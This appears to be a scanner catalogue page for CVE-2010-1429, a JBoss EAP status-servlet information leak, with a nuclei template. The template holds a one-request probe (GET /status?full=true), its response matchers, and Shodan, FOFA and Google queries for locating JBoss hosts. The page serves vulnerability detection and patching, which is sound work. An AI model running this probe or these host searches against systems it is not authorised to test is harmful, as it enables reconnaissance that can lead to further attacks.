Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure

mediumseverity

5CVSS score

53.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Red Hat JBoss Enterprise Application Platform 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 is susceptible to sensitive information disclosure. A remote attacker can obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks.

Fix

Apply the necessary patches or updates provided by Red Hat to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/status?full=true
Positive when: contains "JVM" and "memory" and "localhost/" AND status 200

Run it with nuclei: nuclei -id CVE-2010-1429 -u <target>

The full check

id: CVE-2010-1429

info:
  name: Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure
  author: R12W4N
  severity: medium
  description: |
    Red Hat JBoss Enterprise Application Platform 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 is susceptible to sensitive information disclosure. A remote attacker can obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Apply the necessary patches or updates provided by Red Hat to fix the vulnerability.
  reference:
    - https://rhn.redhat.com/errata/RHSA-2010-0377.html
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1429
    - https://nvd.nist.gov/vuln/detail/CVE-2008-3273
    - http://marc.info/?l=bugtraq&m=132698550418872&w=2
    - http://securitytracker.com/id?1023918
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1429
    cwe-id: CWE-264
    epss-score: 0.53728
    epss-percentile: 0.99006
    cpe: cpe:2.3:a:redhat:jboss_enterprise_application_platform:*:cp08:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query:
      - title:"JBoss"
      - cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
      - http.title:"jboss"
    fofa-query: title="jboss"
    google-query: intitle:"jboss"
  tags: cve2010,cve,jboss,eap,tomcat,exposure,redhat,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/status?full=true"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "JVM"
          - "memory"
          - "localhost/"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from